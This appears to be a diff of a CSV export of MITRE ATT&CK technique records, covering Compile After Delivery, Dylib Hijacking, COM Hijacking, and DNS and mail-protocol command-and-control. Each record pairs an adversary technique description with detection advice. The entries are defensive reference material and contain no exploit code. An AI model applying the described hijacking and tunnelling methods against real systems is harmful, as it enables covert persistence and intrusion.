generated within malware samples/configuration files.","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'command-and-control'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1573', 'external_id': 'T1573'}, {'source_name': 'SANS Decrypting SSL', 'description': 'Butler, M. (2013, November). Finding Hidden Threats by Decrypting SSL. Retrieved April 5, 2016.', 'url': 'http://www.sans.org/reading-room/whitepapers/analyst/finding-hidden-threats-decrypting-ssl-34840'}, {'source_name': 'SEI SSL Inspection Risks', 'description': 'Dormann, W. (2015, March 13). The Risks of SSL Inspection. Retrieved April 5, 2016.', 'url': 'https://insights.sei.cmu.edu/cert/2015/03/the-risks-of-ssl-inspection.html'}, {'source_name': 'University of Birmingham C2', 'description': 'Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.', 'url': 'https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,['Network Traffic: Network Traffic Content'],,"SSL/TLS inspection is one way of detecting command and control traffic within some encrypted communication channels.(Citation: SANS Decrypting SSL) SSL/TLS inspection does come with certain risks that should be considered before implementing to avoid potential security issues such as incomplete certificate validation.(Citation: SEI SSL Inspection Risks) -In general, analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2)",,,,,False,,,,"['Linux', 'macOS', 'Windows']",,,,1.0 -2020-03-16 15:30:57.711000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may attempt to make payloads difficult to discover and analyze by delivering files to victims as uncompiled code. Text-based source code files may subvert analysis and scrutiny from protections targeting executables/binaries. These payloads will need to be compiled before execution; typically via native utilities such as csc.exe or GCC/MinGW.(Citation: ClearSky MuddyWater Nov 2018) +In general, analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2)",False,,"['Linux', 'macOS', 'Windows']",1.0,,,,,,, +attack-pattern,attack-pattern--c726e0a2-a57a-4b7b-a973-d0f013246617,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-03-16T15:30:57.711Z,2020-03-29T20:59:32.293Z,Compile After Delivery,"Adversaries may attempt to make payloads difficult to discover and analyze by delivering files to victims as uncompiled code. Text-based source code files may subvert analysis and scrutiny from protections targeting executables/binaries. These payloads will need to be compiled before execution; typically via native utilities such as csc.exe or GCC/MinGW.(Citation: ClearSky MuddyWater Nov 2018) -Source code payloads may also be encrypted, encoded, and/or embedded within other files, such as those delivered as a [Phishing](https://attack.mitre.org/techniques/T1566). Payloads may also be delivered in formats unrecognizable and inherently benign to the native OS (ex: EXEs on macOS/Linux) before later being (re)compiled into a proper executable binary with a bundled compiler and execution framework.(Citation: TrendMicro WindowsAppMac)","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1027/004', external_id='T1027.004'), ExternalReference(source_name='ClearSky MuddyWater Nov 2018', description='ClearSky Cyber Security. (2018, November). MuddyWater Operations in Lebanon and Oman: Using an Israeli compromised domain for a two-stage campaign. Retrieved November 29, 2018.', url='https://www.clearskysec.com/wp-content/uploads/2018/11/MuddyWater-Operations-in-Lebanon-and-Oman.pdf'), ExternalReference(source_name='TrendMicro WindowsAppMac', description='Trend Micro. (2019, February 11). Windows App Runs on Mac, Downloads Info Stealer and Adware. Retrieved April 25, 2019.', url='https://blog.trendmicro.com/trendlabs-security-intelligence/windows-app-runs-on-mac-downloads-info-stealer-and-adware/')]",attack-pattern--c726e0a2-a57a-4b7b-a973-d0f013246617,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='defense-evasion')]",2020-03-29 20:59:32.293000+00:00,Compile After Delivery,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,"['Praetorian', 'Ye Yint Min Thu Htut, Offensive Security Team, DBS Bank']","['File: File Metadata', 'File: File Creation', 'Process: Process Creation', 'Command: Command Execution']","['Signature-based detection', 'Host intrusion prevention systems', 'Anti-virus', 'Binary Analysis', 'Static File Analysis']",,,,"Monitor the execution file paths and command-line arguments for common compilers, such as csc.exe and GCC/MinGW, and correlate with other suspicious behavior to reduce false positives from normal user and administrator behavior. The compilation of payloads may also generate file creation and/or file write events. Look for non-native binary formats and cross-platform compiler and execution frameworks like Mono and determine if they have a legitimate purpose on the system.(Citation: TrendMicro WindowsAppMac) Typically these should only be used in specific and limited cases, like for software development.",,,,,True,,,['User'],"['Linux', 'macOS', 'Windows']",,['Compiler software (either native to the system or delivered by the adversary)'],,1.0 -2020-03-16 15:23:30.896000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may execute their own payloads by placing a malicious dynamic library (dylib) with an expected name in a path a victim application searches at runtime. The dynamic loader will try to find the dylibs based on the sequential order of the search paths. Paths to dylibs may be prefixed with @rpath, which allows developers to use relative paths to specify an array of search paths used at runtime based on the location of the executable. Additionally, if weak linking is used, such as the LC_LOAD_WEAK_DYLIB function, an application will still execute even if an expected dylib is not present. Weak linking enables developers to run an application on multiple macOS versions as new APIs are added. +Source code payloads may also be encrypted, encoded, and/or embedded within other files, such as those delivered as a [Phishing](https://attack.mitre.org/techniques/T1566). Payloads may also be delivered in formats unrecognizable and inherently benign to the native OS (ex: EXEs on macOS/Linux) before later being (re)compiled into a proper executable binary with a bundled compiler and execution framework.(Citation: TrendMicro WindowsAppMac)","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1027/004', 'external_id': 'T1027.004'}, {'source_name': 'ClearSky MuddyWater Nov 2018', 'description': 'ClearSky Cyber Security. (2018, November). MuddyWater Operations in Lebanon and Oman: Using an Israeli compromised domain for a two-stage campaign. Retrieved November 29, 2018.', 'url': 'https://www.clearskysec.com/wp-content/uploads/2018/11/MuddyWater-Operations-in-Lebanon-and-Oman.pdf'}, {'source_name': 'TrendMicro WindowsAppMac', 'description': 'Trend Micro. (2019, February 11). Windows App Runs on Mac, Downloads Info Stealer and Adware. Retrieved April 25, 2019.', 'url': 'https://blog.trendmicro.com/trendlabs-security-intelligence/windows-app-runs-on-mac-downloads-info-stealer-and-adware/'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Praetorian', 'Ye Yint Min Thu Htut, Offensive Security Team, DBS Bank']","['File: File Metadata', 'File: File Creation', 'Process: Process Creation', 'Command: Command Execution']","['Signature-based detection', 'Host intrusion prevention systems', 'Anti-virus', 'Binary Analysis', 'Static File Analysis']","Monitor the execution file paths and command-line arguments for common compilers, such as csc.exe and GCC/MinGW, and correlate with other suspicious behavior to reduce false positives from normal user and administrator behavior. The compilation of payloads may also generate file creation and/or file write events. Look for non-native binary formats and cross-platform compiler and execution frameworks like Mono and determine if they have a legitimate purpose on the system.(Citation: TrendMicro WindowsAppMac) Typically these should only be used in specific and limited cases, like for software development.",True,['User'],"['Linux', 'macOS', 'Windows']",1.0,,['Compiler software (either native to the system or delivered by the adversary)'],,,,, +attack-pattern,attack-pattern--fc742192-19e3-466c-9eb5-964a97b29490,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-03-16T15:23:30.896Z,2021-04-27T20:19:15.212Z,Dylib Hijacking,"Adversaries may execute their own payloads by placing a malicious dynamic library (dylib) with an expected name in a path a victim application searches at runtime. The dynamic loader will try to find the dylibs based on the sequential order of the search paths. Paths to dylibs may be prefixed with @rpath, which allows developers to use relative paths to specify an array of search paths used at runtime based on the location of the executable. Additionally, if weak linking is used, such as the LC_LOAD_WEAK_DYLIB function, an application will still execute even if an expected dylib is not present. Weak linking enables developers to run an application on multiple macOS versions as new APIs are added. -Adversaries may gain execution by inserting malicious dylibs with the name of the missing dylib in the identified path.(Citation: Wardle Dylib Hijack Vulnerable Apps)(Citation: Wardle Dylib Hijacking OSX 2015)(Citation: Github EmpireProject HijackScanner)(Citation: Github EmpireProject CreateHijacker Dylib) Dylibs are loaded into an application's address space allowing the malicious dylib to inherit the application's privilege level and resources. Based on the application, this could result in privilege escalation and uninhibited network access. This method may also evade detection from security products since the execution is masked under a legitimate process.(Citation: Writing Bad Malware for OSX)(Citation: wardle artofmalware volume1)(Citation: MalwareUnicorn macOS Dylib Injection MachO)","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1574/004', external_id='T1574.004'), ExternalReference(source_name='capec', url='https://capec.mitre.org/data/definitions/471.html', external_id='CAPEC-471'), ExternalReference(source_name='Wardle Dylib Hijack Vulnerable Apps', description='Patrick Wardle. (2019, July 2). Getting Root with Benign AppStore Apps. Retrieved March 31, 2021.', url='https://objective-see.com/blog/blog_0x46.html'), ExternalReference(source_name='Wardle Dylib Hijacking OSX 2015', description='Patrick Wardle. (2015, March 1). Dylib Hijacking on OS X. Retrieved March 29, 2021.', url='https://www.virusbulletin.com/uploads/pdf/magazine/2015/vb201503-dylib-hijacking.pdf'), ExternalReference(source_name='Github EmpireProject HijackScanner', description='Wardle, P., Ross, C. (2017, September 21). Empire Project Dylib Hijack Vulnerability Scanner. Retrieved April 1, 2021.', url='https://github.com/EmpireProject/Empire/blob/master/lib/modules/python/situational_awareness/host/osx/HijackScanner.py'), ExternalReference(source_name='Github EmpireProject CreateHijacker Dylib', description='Wardle, P., Ross, C. (2018, April 8). EmpireProject Create Dylib Hijacker. Retrieved April 1, 2021.', url='https://github.com/EmpireProject/Empire/blob/08cbd274bef78243d7a8ed6443b8364acd1fc48b/lib/modules/python/persistence/osx/CreateHijacker.py'), ExternalReference(source_name='Writing Bad Malware for OSX', description='Patrick Wardle. (2015). Writing Bad @$$ Malware for OS X. Retrieved July 10, 2017.', url='https://www.blackhat.com/docs/us-15/materials/us-15-Wardle-Writing-Bad-A-Malware-For-OS-X.pdf'), ExternalReference(source_name='wardle artofmalware volume1', description='Patrick Wardle. (2020, August 5). The Art of Mac Malware Volume 0x1: Analysis. Retrieved March 19, 2021.', url='https://taomm.org/vol1/pdfs.html'), ExternalReference(source_name='MalwareUnicorn macOS Dylib Injection MachO', description='Amanda Rousseau. (2020, April 4). MacOS Dylib Injection Workshop. Retrieved March 29, 2021.', url='https://malwareunicorn.org/workshops/macos_dylib_injection.html#5'), ExternalReference(source_name='Apple Developer Doco Archive Run-Path', description='Apple Inc.. (2012, July 7). Run-Path Dependent Libraries. Retrieved March 31, 2021.', url='https://developer.apple.com/library/archive/documentation/DeveloperTools/Conceptual/DynamicLibraries/100-Articles/RunpathDependentLibraries.html')]",attack-pattern--fc742192-19e3-466c-9eb5-964a97b29490,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='persistence'), KillChainPhase(kill_chain_name='mitre-attack', phase_name='privilege-escalation'), KillChainPhase(kill_chain_name='mitre-attack', phase_name='defense-evasion')]",2021-04-27 20:19:15.212000+00:00,Dylib Hijacking,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['File: File Creation', 'File: File Modification', 'Module: Module Load']",['Application control'],,,,"Monitor file systems for moving, renaming, replacing, or modifying dylibs. Changes in the set of dylibs that are loaded by a process (compared to past behavior) that do not correlate with known software, patches, etc., are suspicious. Check the system for multiple dylibs with the same name and monitor which versions have historically been loaded into a process. +Adversaries may gain execution by inserting malicious dylibs with the name of the missing dylib in the identified path.(Citation: Wardle Dylib Hijack Vulnerable Apps)(Citation: Wardle Dylib Hijacking OSX 2015)(Citation: Github EmpireProject HijackScanner)(Citation: Github EmpireProject CreateHijacker Dylib) Dylibs are loaded into an application's address space allowing the malicious dylib to inherit the application's privilege level and resources. Based on the application, this could result in privilege escalation and uninhibited network access. This method may also evade detection from security products since the execution is masked under a legitimate process.(Citation: Writing Bad Malware for OSX)(Citation: wardle artofmalware volume1)(Citation: MalwareUnicorn macOS Dylib Injection MachO)","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1574/004', 'external_id': 'T1574.004'}, {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/471.html', 'external_id': 'CAPEC-471'}, {'source_name': 'Wardle Dylib Hijack Vulnerable Apps', 'description': 'Patrick Wardle. (2019, July 2). Getting Root with Benign AppStore Apps. Retrieved March 31, 2021.', 'url': 'https://objective-see.com/blog/blog_0x46.html'}, {'source_name': 'Wardle Dylib Hijacking OSX 2015', 'description': 'Patrick Wardle. (2015, March 1). Dylib Hijacking on OS X. Retrieved March 29, 2021.', 'url': 'https://www.virusbulletin.com/uploads/pdf/magazine/2015/vb201503-dylib-hijacking.pdf'}, {'source_name': 'Github EmpireProject HijackScanner', 'description': 'Wardle, P., Ross, C. (2017, September 21). Empire Project Dylib Hijack Vulnerability Scanner. Retrieved April 1, 2021.', 'url': 'https://github.com/EmpireProject/Empire/blob/master/lib/modules/python/situational_awareness/host/osx/HijackScanner.py'}, {'source_name': 'Github EmpireProject CreateHijacker Dylib', 'description': 'Wardle, P., Ross, C. (2018, April 8). EmpireProject Create Dylib Hijacker. Retrieved April 1, 2021.', 'url': 'https://github.com/EmpireProject/Empire/blob/08cbd274bef78243d7a8ed6443b8364acd1fc48b/lib/modules/python/persistence/osx/CreateHijacker.py'}, {'source_name': 'Writing Bad Malware for OSX', 'description': 'Patrick Wardle. (2015). Writing Bad @$$ Malware for OS X. Retrieved July 10, 2017.', 'url': 'https://www.blackhat.com/docs/us-15/materials/us-15-Wardle-Writing-Bad-A-Malware-For-OS-X.pdf'}, {'source_name': 'wardle artofmalware volume1', 'description': 'Patrick Wardle. (2020, August 5). The Art of Mac Malware Volume 0x1: Analysis. Retrieved March 19, 2021.', 'url': 'https://taomm.org/vol1/pdfs.html'}, {'source_name': 'MalwareUnicorn macOS Dylib Injection MachO', 'description': 'Amanda Rousseau. (2020, April 4). MacOS Dylib Injection Workshop. Retrieved March 29, 2021.', 'url': 'https://malwareunicorn.org/workshops/macos_dylib_injection.html#5'}, {'source_name': 'Apple Developer Doco Archive Run-Path', 'description': 'Apple Inc.. (2012, July 7). Run-Path Dependent Libraries. Retrieved March 31, 2021.', 'url': 'https://developer.apple.com/library/archive/documentation/DeveloperTools/Conceptual/DynamicLibraries/100-Articles/RunpathDependentLibraries.html'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['File: File Creation', 'File: File Modification', 'Module: Module Load']",['Application control'],"Monitor file systems for moving, renaming, replacing, or modifying dylibs. Changes in the set of dylibs that are loaded by a process (compared to past behavior) that do not correlate with known software, patches, etc., are suspicious. Check the system for multiple dylibs with the same name and monitor which versions have historically been loaded into a process. -Run path dependent libraries can include LC_LOAD_DYLIB, LC_LOAD_WEAK_DYLIB, and LC_RPATH. Other special keywords are recognized by the macOS loader are @rpath, @loader_path, and @executable_path.(Citation: Apple Developer Doco Archive Run-Path) These loader instructions can be examined for individual binaries or frameworks using the otool -l command. Objective-See's Dylib Hijacking Scanner can be used to identify applications vulnerable to dylib hijacking.(Citation: Wardle Dylib Hijack Vulnerable Apps)(Citation: Github EmpireProject HijackScanner)",,,,,True,,,,['macOS'],,,,2.0 -2020-03-16 14:12:47.923000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects. COM is a system within Windows to enable interaction between software components through the operating system.(Citation: Microsoft Component Object Model) References to various COM objects are stored in the Registry. +Run path dependent libraries can include LC_LOAD_DYLIB, LC_LOAD_WEAK_DYLIB, and LC_RPATH. Other special keywords are recognized by the macOS loader are @rpath, @loader_path, and @executable_path.(Citation: Apple Developer Doco Archive Run-Path) These loader instructions can be examined for individual binaries or frameworks using the otool -l command. Objective-See's Dylib Hijacking Scanner can be used to identify applications vulnerable to dylib hijacking.(Citation: Wardle Dylib Hijack Vulnerable Apps)(Citation: Github EmpireProject HijackScanner)",True,,['macOS'],2.0,,,,,,, +attack-pattern,attack-pattern--bc0f5e80-91c0-4e04-9fbb-e4e332c85dae,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-03-16T14:12:47.923Z,2020-11-10T18:19:44.750Z,Component Object Model Hijacking,"Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects. COM is a system within Windows to enable interaction between software components through the operating system.(Citation: Microsoft Component Object Model) References to various COM objects are stored in the Registry. -Adversaries can use the COM system to insert malicious code that can be executed in place of legitimate software through hijacking the COM references and relationships as a means for persistence. Hijacking a COM object requires a change in the Registry to replace a reference to a legitimate system component which may cause that component to not work when executed. When that system component is executed through normal system operation the adversary's code will be executed instead.(Citation: GDATA COM Hijacking) An adversary is likely to hijack objects that are used frequently enough to maintain a consistent level of persistence, but are unlikely to break noticeable functionality within the system as to avoid system instability that could lead to detection. ","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1546/015', external_id='T1546.015'), ExternalReference(source_name='Microsoft Component Object Model', description='Microsoft. (n.d.). The Component Object Model. Retrieved August 18, 2016.', url='https://msdn.microsoft.com/library/ms694363.aspx'), ExternalReference(source_name='GDATA COM Hijacking', description='G DATA. (2014, October). COM Object hijacking: the discreet way of persistence. Retrieved August 13, 2016.', url='https://blog.gdatasoftware.com/2014/10/23941-com-object-hijacking-the-discreet-way-of-persistence'), ExternalReference(source_name='Elastic COM Hijacking', description='Ewing, P. Strom, B. (2016, September 15). How to Hunt: Detecting Persistence & Evasion with the COM. Retrieved September 15, 2016.', url='https://www.elastic.co/blog/how-hunt-detecting-persistence-evasion-com')]",attack-pattern--bc0f5e80-91c0-4e04-9fbb-e4e332c85dae,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='privilege-escalation'), KillChainPhase(kill_chain_name='mitre-attack', phase_name='persistence')]",2020-11-10 18:19:44.750000+00:00,Component Object Model Hijacking,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,['Elastic'],"['Process: Process Creation', 'Windows Registry: Windows Registry Key Modification', 'Command: Command Execution', 'Module: Module Load']",,,,,"There are opportunities to detect COM hijacking by searching for Registry references that have been replaced and through Registry operations (ex: [Reg](https://attack.mitre.org/software/S0075)) replacing known binary paths with unknown paths or otherwise malicious content. Even though some third-party applications define user COM objects, the presence of objects within HKEY_CURRENT_USER\Software\Classes\CLSID\ may be anomalous and should be investigated since user objects will be loaded prior to machine objects in HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\.(Citation: Elastic COM Hijacking) Registry entries for existing COM objects may change infrequently. When an entry with a known good path and binary is replaced or changed to an unusual value to point to an unknown binary in a new location, then it may indicate suspicious behavior and should be investigated. +Adversaries can use the COM system to insert malicious code that can be executed in place of legitimate software through hijacking the COM references and relationships as a means for persistence. Hijacking a COM object requires a change in the Registry to replace a reference to a legitimate system component which may cause that component to not work when executed. When that system component is executed through normal system operation the adversary's code will be executed instead.(Citation: GDATA COM Hijacking) An adversary is likely to hijack objects that are used frequently enough to maintain a consistent level of persistence, but are unlikely to break noticeable functionality within the system as to avoid system instability that could lead to detection. ","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1546/015', 'external_id': 'T1546.015'}, {'source_name': 'Microsoft Component Object Model', 'description': 'Microsoft. (n.d.). The Component Object Model. Retrieved August 18, 2016.', 'url': 'https://msdn.microsoft.com/library/ms694363.aspx'}, {'source_name': 'GDATA COM Hijacking', 'description': 'G DATA. (2014, October). COM Object hijacking: the discreet way of persistence. Retrieved August 13, 2016.', 'url': 'https://blog.gdatasoftware.com/2014/10/23941-com-object-hijacking-the-discreet-way-of-persistence'}, {'source_name': 'Elastic COM Hijacking', 'description': 'Ewing, P. Strom, B. (2016, September 15). How to Hunt: Detecting Persistence & Evasion with the COM. Retrieved September 15, 2016.', 'url': 'https://www.elastic.co/blog/how-hunt-detecting-persistence-evasion-com'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],['Elastic'],"['Process: Process Creation', 'Windows Registry: Windows Registry Key Modification', 'Command: Command Execution', 'Module: Module Load']",,"There are opportunities to detect COM hijacking by searching for Registry references that have been replaced and through Registry operations (ex: [Reg](https://attack.mitre.org/software/S0075)) replacing known binary paths with unknown paths or otherwise malicious content. Even though some third-party applications define user COM objects, the presence of objects within HKEY_CURRENT_USER\Software\Classes\CLSID\ may be anomalous and should be investigated since user objects will be loaded prior to machine objects in HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\.(Citation: Elastic COM Hijacking) Registry entries for existing COM objects may change infrequently. When an entry with a known good path and binary is replaced or changed to an unusual value to point to an unknown binary in a new location, then it may indicate suspicious behavior and should be investigated. -Likewise, if software DLL loads are collected and analyzed, any unusual DLL load that can be correlated with a COM object Registry modification may indicate COM hijacking has been performed. ",,,,,True,,,['User'],['Windows'],,,,1.0 -2020-03-15 16:27:31.768000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may communicate using the Domain Name System (DNS) application layer protocol to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server. +Likewise, if software DLL loads are collected and analyzed, any unusual DLL load that can be correlated with a COM object Registry modification may indicate COM hijacking has been performed. ",True,['User'],['Windows'],1.0,,,,,,, +attack-pattern,attack-pattern--1996eef1-ced3-4d7f-bf94-33298cabbf72,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-03-15T16:27:31.768Z,2020-10-21T16:26:34.196Z,DNS,"Adversaries may communicate using the Domain Name System (DNS) application layer protocol to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server. -The DNS protocol serves an administrative function in computer networking and thus may be very common in environments. DNS traffic may also be allowed even before network authentication is completed. DNS packets contain many fields and headers in which data can be concealed. Often known as DNS tunneling, adversaries may abuse DNS to communicate with systems under their control within a victim network while also mimicking normal, expected traffic.(Citation: PAN DNS Tunneling)(Citation: Medium DnsTunneling) ","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1071/004', external_id='T1071.004'), ExternalReference(source_name='PAN DNS Tunneling', description='Palo Alto Networks. (n.d.). What Is DNS Tunneling?. Retrieved March 15, 2020.', url='https://www.paloaltonetworks.com/cyberpedia/what-is-dns-tunneling'), ExternalReference(source_name='Medium DnsTunneling', description='Galobardes, R. (2018, October 30). Learn how easy is to bypass firewalls using DNS tunneling (and also how to block it). Retrieved March 15, 2020.', url='https://medium.com/@galolbardes/learn-how-easy-is-to-bypass-firewalls-using-dns-tunneling-and-also-how-to-block-it-3ed652f4a000'), ExternalReference(source_name='University of Birmingham C2', description='Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.', url='https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf')]",attack-pattern--1996eef1-ced3-4d7f-bf94-33298cabbf72,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='command-and-control')]",2020-10-21 16:26:34.196000+00:00,DNS,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,"['Jan Petrov, Citi']","['Network Traffic: Network Traffic Flow', 'Network Traffic: Network Traffic Content']",,,,,"Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect application layer protocols that do not follow the expected protocol standards regarding syntax, structure, or any other variable adversaries could leverage to conceal data.(Citation: University of Birmingham C2) +The DNS protocol serves an administrative function in computer networking and thus may be very common in environments. DNS traffic may also be allowed even before network authentication is completed. DNS packets contain many fields and headers in which data can be concealed. Often known as DNS tunneling, adversaries may abuse DNS to communicate with systems under their control within a victim network while also mimicking normal, expected traffic.(Citation: PAN DNS Tunneling)(Citation: Medium DnsTunneling) ","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'command-and-control'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1071/004', 'external_id': 'T1071.004'}, {'source_name': 'PAN DNS Tunneling', 'description': 'Palo Alto Networks. (n.d.). What Is DNS Tunneling?. Retrieved March 15, 2020.', 'url': 'https://www.paloaltonetworks.com/cyberpedia/what-is-dns-tunneling'}, {'source_name': 'Medium DnsTunneling', 'description': 'Galobardes, R. (2018, October 30). Learn how easy is to bypass firewalls using DNS tunneling (and also how to block it). Retrieved March 15, 2020.', 'url': 'https://medium.com/@galolbardes/learn-how-easy-is-to-bypass-firewalls-using-dns-tunneling-and-also-how-to-block-it-3ed652f4a000'}, {'source_name': 'University of Birmingham C2', 'description': 'Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.', 'url': 'https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Jan Petrov, Citi']","['Network Traffic: Network Traffic Flow', 'Network Traffic: Network Traffic Content']",,"Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect application layer protocols that do not follow the expected protocol standards regarding syntax, structure, or any other variable adversaries could leverage to conceal data.(Citation: University of Birmingham C2) -Monitor for DNS traffic to/from known-bad or suspicious domains.",,,,,True,,,,"['Linux', 'macOS', 'Windows']",,,,1.0 -2020-03-15 16:21:45.131000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may communicate using application layer protocols associated with electronic mail delivery to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server. +Monitor for DNS traffic to/from known-bad or suspicious domains.",True,,"['Linux', 'macOS', 'Windows']",1.0,,,,,,, +attack-pattern,attack-pattern--54b4c251-1f0e-4eba-ba6b-dbc7a6f6f06b,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-03-15T16:21:45.131Z,2020-10-21T16:35:45.633Z,Mail Protocols,"Adversaries may communicate using application layer protocols associated with electronic mail delivery to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server. -Protocols such as SMTP/S, POP3/S, and IMAP that carry electronic mail may be very common in environments. Packets produced from these protocols may have many fields and headers in which data can be concealed. Data could also be concealed within the email messages themselves. An adversary may abuse these protocols to communicate with systems under their control within a victim network while also mimicking normal, expected traffic. ","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1071/003', external_id='T1071.003'), ExternalReference(source_name='University of Birmingham C2', description='Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.', url='https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf')]",attack-pattern--54b4c251-1f0e-4eba-ba6b-dbc7a6f6f06b,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='command-and-control')]",2020-10-21 16:35:45.633000+00:00,Mail Protocols,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['Network Traffic: Network Traffic Flow', 'Network Traffic: Network Traffic Content']",,,,,"Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect application layer protocols that do not follow the expected protocol standards regarding syntax, structure, or any other variable adversaries could leverage to conceal data.(Citation: University of Birmingham C2)",,,,,True,,,,"['Linux', 'macOS', 'Windows']",,,,1.0 -2020-03-15 16:16:25.763000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may communicate using application layer protocols associated with transferring files to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server. +Protocols such as SMTP/S, POP3/S, and IMAP that carry electronic mail may be very common in environments. Packets produced from these protocols may have many fields and headers in which data can be concealed. Data could also be concealed within the email messages themselves. An adversary may abuse these protocols to communicate with systems under their control within a victim network while also mimicking normal, expected traffic. ","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'command-and-control'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1071/003', 'external_id': 'T1071.003'}, {'source_name': 'University of Birmingham C2', 'description': 'Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.', 'url': 'https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Network Traffic: Network Traffic Flow', 'Network Traffic: Network Traffic Content']",,"Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect application layer protocols that do not follow the expected protocol standards regarding syntax, structure, or any other variable adversaries could leverage to conceal data.(Citation: University of Birmingham C2)",True,,"['Linux', 'macOS', 'Windows']",1.0,,,,,,, 